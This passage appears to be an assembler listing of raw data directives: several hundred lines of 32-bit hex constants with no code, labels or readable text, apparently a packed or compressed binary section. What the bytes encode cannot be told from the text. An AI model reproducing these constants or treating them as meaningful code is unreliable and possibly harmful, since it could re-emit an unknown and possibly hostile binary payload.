		dd 7768B5BFh, 60EF7CD2h, 9DE43857h, 0FC79FC59h,	30FF85FFh
		dd 30CC8138h, 8CD4E9CCh, 0C0777C11h, 9EFE83Fh, 5DB95377h
		dd 4E8F584h, 0D26E05F4h, 8D2AC57Ch, 5F24E977h, 45BFFC2Ah
		dd 0FE6102C6h, 53B6B7Dh, 10090140h, 0ED1451FFh,	37C6FF03h
		dd 18A3DCAAh, 0D5B4FE1Eh, 0B480E6BEh, 4B0A6F0Eh, 0E4FFFE05h
		dd 3A3E117h, 23660D9Ah,	0CBA6D492h, 0DF484B21h,	0FFFFE0D0h
		dd 4D73AD0Bh, 0DCBC2472h, 0D6F6D8EDh, 7CCA037Ch, 0EBAC38E0h
		dd 0FFFF1F06h, 6D0F5FFFh, 0DACCCCBh, 1C14A1ACh,	9F181721h
		dd 0C872B848h, 0B8CC95C9h, 0CF20E446h, 81465F10h, 0FFFFFFFFh
		dd 4C6D2712h, 14770006h, 3264E469h, 18200B26h, 6590B4BCh
		dd 0B4B46464h, 0ADFB5BEFh, 2F35B370h, 0ABD86305h, 0B4344C96h
		dd 7D6FFFC8h, 16388189h, 6CBBA88Bh, 0A83E0602h,	0CB8F198Ch
		dd 0FFFA20E5h, 50FFE25Fh, 3018CCEFh, 1A874AEh, 612E383Bh
		dd 0DE49C8A8h, 0A866964Ah, 0F638D000h, 5C0BB7FFh, 0C80E3099h
		dd 20010AE9h, 572E48E5h, 0D00746D0h, 0FF0BA723h, 31CFEDB7h
		dd 3200AC06h, 0A346302h, 0AC20CC1Ch, 0FF1C77CEh, 0ACB7EDFFh
		dd 967718F0h, 3ED2E831h, 0E319B4B0h, 1CC6C931h,	0EDD40CBAh
		dd 1072C9BAh, 18FB785Ch, 0BA4DD0EEh, 932C5343h,	0E1C8D893h
		dd 0A06FE8DFh, 650BD72Ah, 0D2A30A86h, 0EA9145BBh, 0ED12970Dh
		dd 667FFFFFh, 17232C12h, 0DCC8DE46h, 0CB2521A8h, 0A8A8C8F2h
		dd 7211C9C9h, 0C458CF46h, 6D5BFF45h, 0D45C19F4h, 3D2B3CAFh
		dd 0D4C04BD2h, 0CE4669B7h, 1B5BFF38h, 613F0AFCh, 0AA0E8F10h
		dd 92DCE72Ch, 0DC5A07AEh, 0FBDCD874h, 70FFC2F6h, 648E4990h
		dd 59D0DC26h, 0DC2BE892h, 8F90B44Bh, 1B00D027h,	0EC5A85FCh
		dd 2572E4D7h, 0C9051ED8h, 1BC0BE1Ch, 95CF2EDh, 0CE181306h
		dd 2907D941h, 0D83727FFh, 414D0D0Ah, 52BC0Eh, 0FFFDBE86h
		dd 14CEF8FFh, 7B58100Bh, 90F689A5h, 895BA723h, 2C913B54h
		dd 3F395187h, 0C9349874h, 0DFFFFFFFh, 0F5E5A57Ch, 4A02868h
		dd 0EB590661h, 14884A55h, 92BF70E5h, 680B8482h,	4C9047EFh
		dd 4BA5FF00h, 5C2E01FFh, 3900721h, 0D084E719h, 3B4F7836h
		dd 0C07214C8h, 0FFFFA1B8h, 9288A56h, 0B2819607h, 1278DEDDh
		dd 1FE03333h, 0DB6B49EAh, 1A7E0DFFh, 0E0F3033Ah, 9C1F216Bh
		dd 17162291h, 18623CD4h, 0D52FDB90h, 585530E2h,	552532D6h
		dd 0B22392D8h, 0FFFFE0D4h, 64DC52EDh, 0DCCC6407h, 8B225CD8h
		dd 14FE76B7h, 3C2CCAC8h, 95DCDD11h, 5FFC2D12h, 0D8E5C98Dh
		dd 0D2D800E7h, 0CB646600h, 0FFFFD6D8h, 0B190FE0Dh, 290C831Ah
		dd 2556B072h, 0DEB0E70Eh, 4862B6E6h, 871B16Dh, 0F5BFF842h
		dd 260180FFh, 0B8F9CA19h, 1869E7E0h, 47532244h,	0F06C9B7Dh
		dd 4751EA55h, 0B7FB7FC2h, 6CD08A0h, 51471066h, 86533AE5h
		dd 0C5DEC1Bh, 6FFE8E20h, 0FF04E974h, 0A98B60C4h, 0EC189719h
		dd 8236A995h, 0FFFFBC11h, 4A628DEDh, 0EB919C45h, 1A02C94h
		dd 0E5DC7AF1h, 0D4371D82h, 0FA1168C4h, 52F8DFFFh, 50631C3Eh
		dd 6245BA02h, 11906494h, 0EB4267BAh, 31010807h,	4BFFA508h
		dd 0F5BA97FFh, 48F08BFCh, 500B8B1Ch, 42D11B40h,	6E1B3920h
		dd 0FF9F6714h, 0CAFFFEA5h, 39D0844h, 0CE748540h, 12A2C711h
		dd 29180304h, 959E0047h, 0BF749788h, 10FFA5FDh,	0D98303D5h
		dd 0C98E6E24h, 0B034AF1h, 442D1CCFh, 0B6DDC560h, 0FE3716A8h
		dd 3A7092FFh, 54C68812h, 0EA9824B7h, 28790C59h,	821ED990h
		dd 0FF4AA5EAh, 247A5524h, 0F8C76C11h, 19522449h, 0DFFFFFFFh
		dd 82AD70BEh, 80F012E9h, 4C0B36E7h, 429C813h, 73510C97h
		dd 58E868B1h, 0E5E81Ch,	0FFD2FFBFh, 86ED44FFh, 0F0E139Bh
		dd 6303E585h, 0AD208F7Ch, 320C2007h, 1300BEA9h,	0C6ACE7F1h
		dd 78FD0BFFh, 0ED9113FDh, 5E348F8h, 7CFFDEF0h, 0B2C2EF12h
		dd 0FFFF5E62h, 8796FE25h
		dd 1FB4199h, 9150B766h,	0C27D1D88h, 746E6D43h, 2DB41A06h
		dd 0FF12FFB0h, 173986FFh, 2119C17Dh, 0C05F1A18h, 1C1A807Dh
		dd 0E0358B5Ah, 0C116296Eh, 0FFADFF0Ch, 277231FFh, 9D7304F8h
		dd 0C72C59BDh, 45273127h, 5DF9A2B8h, 360ADB4h, 0FF412EA1h
		dd 11FFFFFFh, 0CA4DE75Eh, 3560C85Ch, 4B620F01h,	0B88E1703h
		dd 0BAE85E02h, 346D5433h, 0E824C6E0h, 0A5A88283h, 6DFFFFFEh
		dd 54CB08ECh, 166615E8h, 0AC7622BAh, 43B8AD6Ah,	625FDFEEh
		dd 0FFFC603Fh, 25FFFE37h, 25DEEEE8h, 0C59BD98Ah, 667066BAh
		dd 81448D5Eh, 9843F489h, 16F999B1h, 2FFDBF04h, 8720EFFCh
		dd 0A0EC642Fh, 680D3FB4h, 30817702h, 46267B09h,	0FE880761h
		dd 9AF46FFFh, 0C1B674A9h, 4B9EC96h, 0FD20F380h,	6D9B1BE9h
		dd 242AF6E7h, 0FA5E888Bh, 0B7B0A5FFh, 0BC91396h, 1F00039h
		dd 8F257AD1h, 7C01AF04h, 37C2FFFFh, 203F2871h, 9CCA793h
		dd 781BDB3Ah, 0A812436h, 0E9B9C305h, 0E2DFFF76h, 0A4BEFFh
		dd 66989910h, 177DA078h, 8EA420D8h, 0B01D5329h,	520CC2E6h
		dd 0FFB7FFD6h, 9FE39FFFh, 0AE65A797h, 0CCF9B092h, 3BA5C09Fh
		dd 0B48002Ch, 0D81789D5h, 9E9DE32h, 0FFFE97E6h,	0E49388FFh
		dd 8CBB64C2h, 0F5098800h, 2D7317F8h, 45B904C2h,	84E98DF5h
		dd 0FFF5D8DBh, 55FA5EA5h, 5B202CBAh, 0F5A7820Eh, 720BD803h
		dd 4DF5D9A0h, 0FFFFFFA0h, 0B7A66CFFh, 0EBA0D97Bh, 0DFF405B0h
		dd 0A8D891F4h, 0E852FE41h, 38F0E15Ah, 784F27F0h, 8189BF1Bh
		dd 0FFFFFF33h, 110C01FFh, 7B3CBBF0h, 0F20AEB25h, 0D2320183h
		dd 0CF2CDA13h, 457C4696h, 48D0A78h, 93B9B354h, 0DFFFF812h
		dd 0B7E978FEh, 5ADB8563h, 0B42804ADh, 3BBF133Ah, 6E5CB04Dh
		dd 3D3C5603h, 8DFF3C3Dh, 58855F4Ah, 766DD341h, 9A2F03C0h
		dd 6A5E243Eh, 0FFFFE02Ch, 0B4A3BFFFh, 3E3DFE63h, 5F13CF7h
		dd 0F7EE17C4h, 0C6FA121h, 5215F4B8h, 0D790485h,	8DF8B7Fh
		dd 250B18D6h, 55EB9D28h, 5CC5178Fh, 0A97FFF36h,	897C26FFh
		dd 4ECC54A2h, 0C0A32AF7h, 2D31CD87h, 3A39D068h,	0C1C5181Eh
		dd 0FFFFF835h, 0F8501CFFh, 43B11B7Dh, 3D19D662h, 209A0570h
		dd 7A358h, 0F67E4860h, 203A5A2Ch, 0FE8D0371h, 8B791637h
		dd 66CA51E2h, 75305921h, 0FFBEF747h, 664BFFFFh,	0C6692F33h
		dd 0C213B005h, 64081E20h, 0FA013FE5h, 8E080h, 0A03C328h
		dd 0FD0BFF48h, 7D948942h, 0CAD03605h, 2442B15Eh, 1E8835AAh
		dd 0FF882198h, 265A0CFFh, 9DA12402h, 180B880Ch,	0CC1B20A6h
		dd 0E044B3B6h, 907F16FFh, 840E2F13h, 0B0B20225h, 28A4A43h
		dd 838249AFh, 0DFFE17F0h, 0C2B92830h, 0C62C155h, 5E2A4398h
		dd 1201DD8Bh, 0FF20DD26h, 9DBFE37Fh, 0B30B28B5h, 0F716726Ah
		dd 0EB844FE0h, 787E6A10h, 9AACB502h, 0FF9F7C41h, 62D502FFh
		dd 0EF17D055h, 2878A35Ch, 0DB3F607Fh, 0C5AE168h, 0FF6FFF8Dh
		dd 0CB2EDA46h, 0E921DD06h, 0F0E80A1Ah, 21C8C509h, 0B78FFCF0h
		dd 0FFFFFF5Eh, 7B670DBh, 0DF183391h, 70A3FA3h, 7734C59Eh
		dd 0FBBFD730h, 889A81BCh, 0A08D41B4h, 7A17FF06h, 0EB27EBE1h
		dd 0A5A2381h, 60FBF031h, 8510AF47h, 1661240Bh, 0F3FFD4BAh
		dd 52358281h, 240C3148h, 3D927480h, 0FFFF1D3Ch,	3A8A25FFh
		dd 0E48446F3h, 4FFF5C59h, 0B2530341h, 5569B485h, 2B416Eh
		dd 0FFC0C058h, 0EC45B02h, 0F478AD03h, 633C68A5h, 0F8B230AAh
		dd 0D1FFFFFFh, 0F4F3ECA4h, 0EB94968h, 0EC98A6A8h, 0E16558C3h
		dd 0EDA0C424h, 0F41E557Ch, 81B6324Dh, 5105A2DFh, 0FFA4E83h
		dd 7F05ED93h, 0ADFE0DA1h, 40879C2Eh, 40AB8B10h,	0FADB0E4Bh
		dd 0D87042ABh, 36FFD0BAh, 38400B40h, 92A5B5E8h,	5A211AA1h
		dd 0FFFF3A47h, 746C5A97h, 2C3A1047h, 0DD980759h, 90A09AAFh
		dd 7A8468BDh, 560EA4CAh, 0B606FE37h, 45D5F83h, 0CD524150h
		dd 0FF3FA454h, 0CF25FDDEh, 91AC05h, 14105CA8h, 201C1807h
		dd 302C2824h, 9FCFE7F3h, 403C3834h, 504C4844h, 60B05854h
		dd 0FCFE7F64h, 706C68F9h, 807C7874h, 908C8884h,	0A09C9894h
		dd 85EB7FA4h, 49997CBh,	0D9E8CC00h, 355759Eh, 0F55F6D4h
		dd 0FFF02D44h, 0C60352B6h, 0A69A6CB3h, 12FEECDAh, 7D5B4D32h
		dd 44276FF7h, 0A08C7458h, 0C60A36B8h, 0F0E6DCh,	0FEEEBACEh
		dd 59AEFFF6h, 3A3B9E0Ah, 62035607h, 6E2969A6h, 0BAA09084h
		dd 0F0D0334Dh, 0FFE5F108h, 5434FEDDh, 9C847229h, 815292AEh
		dd 2B1A86B9h, 115BFF7Ch, 6E9B5DBFh, 87F3A890h, 6C0B50DCh
		dd 0DB38341Dh, 0FFFFFF53h, 7D23B1FFh, 0F7FFAA66h, 4BC521FFh
		dd 0B975A44Eh, 2EB7FCCCh, 3A63FB81h, 726F775Ch,	0B6A25C6Bh
		dd 5BFFFFBFh, 32839FDh,	0BC6F5C6Eh, 885C0270h, 0B7D820DFh
		dd 702EA074h, 0EC006264h, 0FFF1BFDDh, 12BE82FFh, 13C3F5BDh
		dd 0BCB90F31h, 1907F2E4h, 2EB5190Dh, 2E4B09BBh,	0FF315E2Fh
		dd 64FB9A17h, 98339231h, 88D30515h, 7737B435h, 0BAB70959h
		dd 897F8D03h, 0C6CB27FFh, 5CC075EBh, 452910Dh, 0B2B08556h
		dd 165EB313h, 2DFFFE5Fh, 5E50FF55h, 43775A05h, 316B6F6Ch
		dd 629BB6CDh, 5F0E5067h, 15FFFFF8h, 556F4F88h, 4BFE054Bh
		dd 52046C34h, 0C1175A0Ah, 158E6C74h, 1B74B302h,	0FEB7E97Fh
		dd 23745347h, 0B28C367h, 57273E84h, 0B6E0B800h,	50566FB7h
		dd 0EA837FFFh, 106C6F6Fh, 42246154h, 0FB16CD13h, 74614A50h
		dd 0FFFF3517h, 51A9E2DFh, 306E02AAh, 6D377972h,	6ADE4411h
		dd 219ED6B2h, 50B40012h, 6FE85473h, 7B70FF44h, 53B50A90h
		dd 6C277379h, 255EDB7h,	0A9706FC7h, 6157DFDFh, 4558465Eh
		dd 36A23C6Dh, 0DFFFAAD1h, 5BFFF8h, 5DF00FFh, 6378655Fh
		dd 26685F2Ch, 1685B5B5h, 7828B72h, 1C5BDADBh, 0FFFFF897h
		dd 0B666552h, 422763C8h, 0DD732179h, 1E48B1h, 51436191h
		dd 0DC0A6A5Eh, 0FFF4BFFFh, 7B5F4A00h, 0B6657645h, 0E6BADB0h
		dd 72A266ACh, 9EE02B4Ah, 193CC19h, 0FFFF0024h, 2569FFFFh
		dd 0EC3C0077h, 614E6833h, 770622BBh, 0DB828D6Ch, 6D337363h
		dd 6D0F2370h, 2BAE671Ah, 0FFFF2967h, 0F163FF4Bh, 0DCFC467Bh
		dd 111F77Eh, 0F7706319h, 6F49020Ah, 6C7A4366h, 2802EB44h
		dd 0E05FFFFFh, 0DCFD3601h, 76E201DBh, 64247542h, 430C7E44h
		dd 0B52E0AB1h, 6C226A6Fh, 0FEB7FFF8h, 5B73EA52h, 211D1AEBh
		dd 4C6C0E52h, 4C3EDB24h, 0B7009D36h, 0FF717341h, 2D37FFFFh
		dd 660F6B78h, 0FA4D9B89h, 6D4D036Dh, 5010A0A3h,	5A495CE6h
		dd 4C620161h, 0FFF15085h, 4AA7C2FFh, 0F115832Ch, 0A9724921h
		dd 82B60B4Ah, 31B586FBh, 6EFCE7A8h, 6FFE0DFFh, 0D6BA22D3h
		dd 6805622Ch, 320EC3D1h, 0DD6FAF0Bh, 0C15394BEh, 0FFF897FFh
		dd 0F5214686h, 866C4966h, 433AD6EDh, 6F6DA66Bh,	845F48CDh
		dd 4CDF0EFCh, 0FFA37FFFh, 37A11F69h, 8574414Dh,	4F98CD82h
		dd 0C381DC83h, 79841B9Dh, 0E3153992h, 0FFFF46FFh, 7C727543h
		dd 421D90B5h, 63A0A774h, 0CCE19B0Ah, 634D5493h,	6FDDDFCAh
		dd 0FFFFDA25h, 0EC10AC1Bh, 5E70756Bh, 3D490890h, 0AE1984DBh
		dd 5FFEE176h, 0F0BA5817h, 30C3C2B5h, 0E8616201h, 6E47DF96h
		dd 0FFFFFFD1h, 2963176Bh, 0C2DA9778h, 8B293B92h, 60726B45h
		dd 6EE36AA6h, 65872E6Ch, 837FB54Fh, 767CBFFAh, 6C715561h
		dd 93664D13h, 0A7ACFA77h, 520D4E0Eh, 0FFFFFFF8h, 550DB6AFh
		dd 48782A76h, 0C24C41h,	18146E9h, 61B0EEh, 0A4E9B1EDh
		dd 45F8B453h, 0E0D0BFE5h
		dd 7A71C897h, 1D7A6FF7h, 0A297378h, 0FFF84517h,	207916FFh
		dd 0E07110A9h, 0FD869C10h, 0F2E20B46h, 492099EBh, 114C5152h
		dd 0B037A171h, 0BA28B7FAh, 0FFE85C00h, 0DDEF37FFh, 82A9A352h
		dd 74037950h, 0FECC6D09h, 4E17D75Ch, 0F6609h, 0F428372Eh
		dd 0D802625Fh, 3E006890h, 3DA40771h, 0DF8D6292h, 632EFFE2h
		dd 0E0534100h, 0B7B22254h, 6481036Dh, 9F742F7Ch, 0FFFFFFFFh
		dd 0F544038Ch, 2630776h, 0DCD12ADh, 9CD5F2FAh, 17B2BE48h
		dd 54630054h, 41DE072h,	1D732B4Bh, 0A955BFF0h, 0A2E70B41h
		dd 0A17703h, 0E0886E80h, 6FFFFFA2h, 0F70917DCh,	141BE028h
		dd 69767C58h, 75536E78h, 61888F63h, 0FFFF897Fh,	12204726h
		dd 60D1373Bh, 41DD1060h, 3520296Ch, 43E0CDF4h, 7FFFFFE1h
		dd 524B3828h, 1BEF69FEh, 2057BFEDh, 4E203D21h, 1D4C4C55h
		dd 555254ECh, 0D52FA245h, 35A87FFEh, 7F192747h,	0EC303629h
		dd 0C2B6857Fh, 64770C24h, 0DBFFFFFFh, 0BBAA2E6Dh, 1A68F75h
		dd 0F56F4770h, 26CA740Fh, 0F1F9BACh, 27732573h,	5850763h
		dd 0FA37D0BFh, 1170400h, 0CD5CCDh, 30AA1818h, 200DD743h
		dd 0FFFFFFFFh, 9480809h, 7145B458h, 0E4A623F2h,	0E0DE3C04h
		dd 785487C2h, 3DC96C6Dh, 3A6E8C22h, 6B704473h, 0FFFFFFFFh
		dd 18137025h, 9AD06D2Dh, 0F5F18228h, 8226103Ah,	764FBEA6h
		dd 8A202231h, 0CDFD669h, 0F856820Dh, 0FFFF817Dh, 2E313297h
		dd 0B7152230h, 0D3EFB0Fh, 4B2F3C0Ah, 44011F3Eh,	0FFFF1544h
		dd 0BED6FFFh, 858589Ah,	2BAA6F0Fh, 8CC02946h, 303C3026h
		dd 0FE5FFFFFh, 315D30BCh, 0FFFF3190h, 32DBF56Fh, 72253241h
		dd 93327B32h, 0CF32BA32h, 0E330032h, 114B2633h,	77FFFCh
		dd 2B33FFFFh, 5F335533h, 6E336433h, 0E533DF33h,	3495199Ch
		dd 0FC0B341Fh, 3426FEB7h, 34393433h, 5B34CA49h,	68346134h
		dd 34608534h, 0FFB1FFFFh, 34A43497h, 34B134ABh,	34BD23B7h
		dd 34E534E0h, 350034FBh, 35713550h, 6FFF3584h, 358FFFFEh
		dd 35D73599h, 35F235DCh, 360D35F7h, 36B712h, 37D337ACh
		dd 37F137D8h, 0FFBFFFF6h, 380F37FFh, 38763814h,	38A3387Bh
		dd 38C138A8h, 5F4338C6h, 0C639BC39h, 0DF39D539h, 502FD439h
		dd 0ED3A46E0h, 323BEC4Ch, 0FA3B483Bh, 8ABD6FB7h, 0F4E3C02h
		dd 0FE3C5D3Ch, 3CDDFC94h, 3D523CF9h, 5FFBBFE2h,	0B79420CBh
		dd 0F234AF32h, 0EF378A34h, 0D435BF61h, 72362F35h, 5FF4BFFFh
		dd 36DF3677h, 371A3705h, 6B37193Ch, 22380437h, 0B1386C38h
		dd 0A9EDFFF4h, 7DF055BFh, 0E079B38h, 397D396Ch,	0FF86399Bh
		dd 387FFFFFh, 0DFFF3AE1h, 7780BFFEh, 5E3B493Ah,	0E3BF03Bh
		dd 3C203Ch, 3C6B3C4Dh, 3D2E3D10h, 0FFFFFF56h, 3D5B3DEFh
		dd 8D3D7C8Dh, 263D973Dh, 633E3B3Eh, 823E763Eh, 0C43EA13Eh
		dd 0DA3ECE3Eh, 6FFFFA3Eh, 0A13F83FFh, 0F63FB33Fh, 0D3CD213Fh
		dd 0CC143FFBh, 302D301Ch, 30CF3037h, 7FFF30E4h,	1F2337F7h
		dd 4A312B31h, 6D313C0Dh, 83317731h, 5C323E31h, 0C6329232h
		dd 0EEFA9732h, 0EC32CBFFh, 1B32FD32h, 7E434C33h, 0A133F8E6h
		dd 72FBAB33h, 0FFDFFF34h, 0BB34B6FFh, 0ED34DC34h, 3C350B34h
		dd 6E354F35h, 78359135h, 3644359Bh, 36A63662h, 0FFFFF6ABh
		dd 36CC36FFh, 36EA36DDh, 3743372Eh, 37753762h, 37A03781h
		dd 37CD37C3h, 0DFC2FFADh, 0EFFF09D9h, 38DAFFFEh, 4C391741h
		dd 0F539E039h, 0F7AF0639h, 3A2F3A37h, 3AB03AA9h, 3E603E4Dh
		dd 5FF7774h, 3E783EFEh,	3E803E7Ch, 0AF3EAA9Bh, 0CB3EB53Eh
		dd 0E77F1FADh, 0D1BFFF3Eh, 53EF2FFh, 153F0F3Fh,	193F1B3Fh
		dd 3F433F32h, 3F503F4Ah, 3F703F5Eh, 37FFFF7Ah, 3F8B3FF8h
		dd 0FFB07F92h, 0AC3F983Fh, 0EA3FD63Fh, 0BA840CBh, 21301B30h
		dd 56E2DF30h, 30912BBFh, 6B30A635h, 308230FBh, 0FF5BEE8Ch
		dd 309730FFh, 30A4309Eh, 314B3144h, 31A03191h, 0AC31BAA4h
		dd 0A8F1F85Bh, 0B0EADFFEh, 3210FE31h, 323C3225h, 32543246h
		dd 0A37F3261h, 328BB7F0h, 0E3EBC187h, 0EA6D683Bh, 0F632F032h
		dd 0F6FFFF32h, 232FCFFh, 143D0833h, 20331A33h, 0BFFF1643h
		dd 3332332Ch, 333E3338h, 334A3344h, 0BDFFE50h, 335633FCh
		dd 9D62335Ch, 73337451h, 3380337Ah, 338C3386h, 0EFFFFFFh
		dd 339E33C0h, 33AA33A4h, 33B633B0h, 33C233BCh, 33CE33C8h
		dd 0D2CD33D4h, 5B7C3D0h, 33DAFFFEh, 33E633E0h, 5031F2D1h
		dd 77E41C24h, 0FFFF56FFh, 312C3120h, 313C3130h,	314C3140h
		dd 5D5C3150h, 70316C31h, 0FF317C31h, 80FE005Fh,	23E25831h
		dd 2F945008h, 97F02A00h, 544820BEh, 0FF2F5054h,	71FFFA37h
		dd 5C070DEDh, 0CB634103h, 2A2F2A55h, 122DFC22h,	542D0269h
		dd 0A9657079h, 3AFFD5BFh, 23896289h, 95617045h,	8BB5FC2Fh
		dd 3B2B2DA0h, 0FFD5528Fh, 0E46EC27Fh, 3D33A380h, 0E2AB002Dh
		dd 6437BF8Dh, 0FF80CE37h, 3064FA17h, 17528163h,	412D0D85h
		dd 71525767h, 4BFF6480h, 5A6B05FCh, 882B712Bh, 5E9A1008h
		dd 5CD65D0Bh, 0FF4828DBh, 19FFFFFFh, 4C879D22h,	0BDD28A8Eh
		dd 68746704h, 1E716413h, 6C7B0216h, 69444275h, 2E0689DAh
		dd 0FFFB6158h, 47FFFFFFh, 0CB151E0Dh, 0CD7481C7h, 0B7DB04Ah
		dd 1D660C22h, 0A1231510h, 2E678ABBh, 6B0B2214h,	0A9497DADh
		dd 0A6FFFFFFh, 18636F2Fh, 0AB4AB17h, 325ACDACh,	45990397h
		dd 0D5AEB28h, 81002030h, 0FFFF8B2Eh, 28C4067Fh,	0DC8D2900h
		dd 670254C5h, 0AC4145B0h, 0CF906419h, 0A4A80F07h, 0FFFFF1C6h
		dd 2190197Fh, 0BA98039Ch, 4066901h, 885F0690h, 406E92D8h
		dd 0B1800F05h, 97D81C50h, 662FF828h, 6C29020Bh,	12D525B0h
		dd 0E9C8B605h, 66FF5BFFh, 0A9031F3Dh, 0A113F20Fh, 26820040h
		dd 9773626Eh, 0D8C70D8Ch, 0EDDBC07Bh, 29F8547Fh, 0C339CD5Ch
		dd 0C0004065h, 62213203h, 0A17B7FD3h, 2007ACBFh, 0FE937874h
		dd 6D7479BEh, 70600827h, 2717068h, 0F9C5BE2Dh, 45612EF3h
		dd 43881764h, 0C155BFF8h, 0BB6D3474h, 681016D8h, 61772D27h
		dd 0B7FFFFFFh, 6EB7D2B8h, 2E2A0BDFh, 7646002Ah,	721C6A67h
		dd 7C765A5Ch, 0EEF7DBFAh, 0D6662h, 5CFFFFE2h, 34F4E4Ah
		dd 6F6E0434h, 79765320h, 97DDFB7Eh, 0FFFF41EAh,	2F05DFFFh
		dd 637A7247h, 6C2C6562h, 67615620h, 9B637FA3h, 1E677292h
		dd 62595766h, 0FF936E70h, 55FFFFFFh, 466DDAE1h,	0C1766712h
		dd 0A96EAB11h, 52504FDFh, 4C49464Fh, 5C6C3AF1h,	935B6EBh
		dd 0FF475C62h, 76FFFF6Fh, 0B600F00h, 0FA086F56h, 0AC45640Fh
		dd 0C6249EFEh, 9779732Eh, 220D6078h, 0FF1BDAC5h, 53FFFD2Fh
		dd 884C5259h, 4D455717h, 183A835Ch, 5C604B11h, 5B279C53h
		dd 0A724BDA0h, 0D0BFF539h, 4220FA1Bh, 75D72F4Eh, 6461FA73h
		dd 0BFAA5322h, 336837D4h, 0D3B2F2C6h, 13479B86h, 0FF6F3033h
		dd 0A0FFFFFFh, 84E5C816h, 9EC9FCA9h, 0F639F26Ch, 6B0FD407h
		dd 2192403Dh, 0E91FC899h, 85C80ED0h, 6A40781Ch,	80FFFC1Bh
		dd 34EC5F57h, 5B1BDB9Fh, 311D0B03h, 1CC96F67h, 0DFFE97FFh
		dd 0C21F732Ch, 5F2F645Eh, 7B40C777h, 0E487245Ch, 517F00CCh
		dd 0C285C982h, 0BCB7FFFFh, 0D884DC36h, 0ECBB01Bh, 89FB867Dh
		dd 7CC78C0Bh, 1401FC85h, 0B6DF76A2h, 0A218FFFFh, 0D840A324h
		dd 0A3B215EDh, 7B1BA464h, 0B73C87A4h, 6D1BABF4h, 0FFFEDFABh
		dd 0ACA9C7FFh, 481B7085h, 0AD041BADh, 0E48BC67h, 0AEF2C0C9h
		dd 4896BC0Eh, 0C2B0C753h
		dd 0FDBFFF1Fh, 0C86D2FBBh, 815FCDCFh, 312212D0h, 0CD1FF9Fh
		dd 71857922h, 0AFD1CBh,	0C4A2DFD6h, 0A1D442FFh,	7B1FE2ECh
		dd 5DC0EBD8h, 28C904B5h, 0FF52FA2Ah, 413448A5h,	9A160102h
		dd 0B22FB066h, 5180407h, 3BFF106Fh, 60D69A4h, 0C10C0709h
		dd 0BCA41906h, 0DFBDF61Bh, 17F8DFFEh, 3B570B90h, 7482573Dh
		dd 13100D83h, 90120311h, 2117F91Bh, 0FCA37635h,	7410FDBh
		dd 5043641Bh, 38175233h, 0E2F30753h, 59C6B7B7h,	0C1BA3EBFh
		dd 7020A217h, 0D1FB061Ch, 50DFDBFEh, 802FC772h,	0B02581B3h
		dd 1F8207C1h, 538F8483h, 0BF77F2FFh, 9E299178h,	0A4436CA1h
		dd 9FB7A76Fh, 1FCE41C2h, 330718D7h, 0FFFFF103h,	0C9688BFFh
		dd 146CE30Ch, 701B216h,	76511F17h, 4F2F2366h, 632A0F92h
		dd 407367A7h, 0FD4BFFA6h, 7878416Fh, 4C3B40E7h,	32200907h
		dd 880A9B2Ch, 115C10E6h, 0BF78DE2Ch, 123E96A9h,	0E5DC1308h
		dd 7CDBB618h, 0FC4B441Ah, 1B8FA7FCh, 0E4E41C0Ch, 601FC41Eh
		dd 0F52F21A3h, 0B2CDE25Fh, 22E38659h, 8078E290h, 79705EEBh
		dd 0FF167A70h, 72FFFE5h, 985187FCh, 0FF07DD7Bh,	14CE02A7h
		dd 5001072h, 0E0ABEF90h, 0BDFDFE97h, 0A80C81A8h, 8B6404C7h
		dd 0BF89690Ch, 7C5B0BF4h, 5A820003h, 46017700h,	4F77B07h
		dd 0FF42FF08h, 82CEA485h, 17218279h, 6307DFA6h,	0A593F3F2h
		dd 7FE09F81h, 0FCFFFFEBh, 0A8807E40h, 423D9C2Fh, 0DAA3C178h
		dd 0FE81CCA3h, 60C44007h, 412FB583h, 0FFE8DF57h, 0DDFFC8FFh
		dd 0A2CF5FB6h, 1AA2E4h,	0A2E8A2E5h, 0DBF27E5Bh,	5109A193h
		dd 0ADF89705h, 5EDA03FFh, 0DA5F5FDAh, 0E4FDDA6Ah, 0D8D357F6h
		dd 0FF39F9DBh, 31FFFFFFh, 50ED1C7Eh, 0EB023061h, 98107B43h
		dd 0F78A889h, 7600ECBDh, 6B48AB01h, 0B7EB1823h,	0DBB83B6Ch
		dd 0D7F85E2Dh, 0F13FEFA0h, 3F906A02h, 0C13DE162h, 0FB7FF0EBh
		dd 0E9080252h, 1F26B06Eh, 5F40E8F8h, 1D3B0BC0h,	7C41B10Bh
		dd 4E75BA9h, 0D4088D96h, 883BDB06h, 91DC8706h, 62E9A92h
		dd 0FFFFE893h, 7FF03FFh, 7E122B78h, 0A809341h, 137ED667h
		dd 19B1C641h, 0CB1344BFh, 0F6E503D3h, 5FC37FC2h, 0ED1A2796h
		dd 41F6AC03h, 0B8B4B09Ah, 34C4C0BCh, 5FFF455Dh,	0F2F8E002h
		dd 0A6D0DCC6h, 0C8D34EEBh, 3CC1FBCh, 0FB78B7D0h, 0D8D41E7Fh
		dd 0E8E4E0DCh, 0EC0ABDD7h, 0A80BF4F0h, 0FFF57A03h, 4DB3DF56h
		dd 2FF298A0h, 3880790h,	0BB42E080h, 6005B605h, 4C09C23Dh
		dd 0EADEDC40h, 409FA17h, 5842B6FBh, 44FB2EDBh, 23DF03ACh
		dd 0B7FFFFFFh, 2B007F62h, 64882E43h, 0A047190Fh, 2D07417Dh
		dd 0B2303A90h, 9360BB10h, 0FF2F241Ah, 0CBFD0BFFh, 56483400h
		dd 4573AA01h, 6B030F74h, 1C9E0A47h, 0F1F07080h,	0F8535047h
		dd 94FFFD6Fh, 5492816Ch, 0C9B0443Fh, 6E385E05h,	0F5134C47h
		dd 0BD9A4ADh, 0FFA11703h, 37DF5FD6h, 3BEBD348h,	0D4B5F75Ah
		dd 34D9669Bh, 1B3411F3h, 4E70DFFCh, 65C0A86Dh, 77533A33h
		dd 534D3B8Bh, 0F5D3BA6Bh, 0F2FC6EADh, 0D51C2227h, 14DDCAEh
		dd 497830BDh, 0FE01BEEFh, 0B669E36Fh, 4857115Dh, 384003F6h
		dd 20283091h, 1BFB1018h, 86F6Fh, 0E0F2F5F8h, 0D8204CFBh
		dd 0C400C8D0h, 8FFB1B07h, 66B7E05h, 3403B0B8h, 90985C9Ch
		dd 30788088h, 0D6F0FFE5h, 505860DCh, 343C480Ch,	741C242Ch
		dd 0FD68519Bh, 80C14FFh, 0F487F4FCh, 0D6760CD7h, 0DDC6FF4h
		dd 0DDDF772Dh, 0ACB87B8Eh, 0A34943Ah, 787C848Ch, 6CD31174h
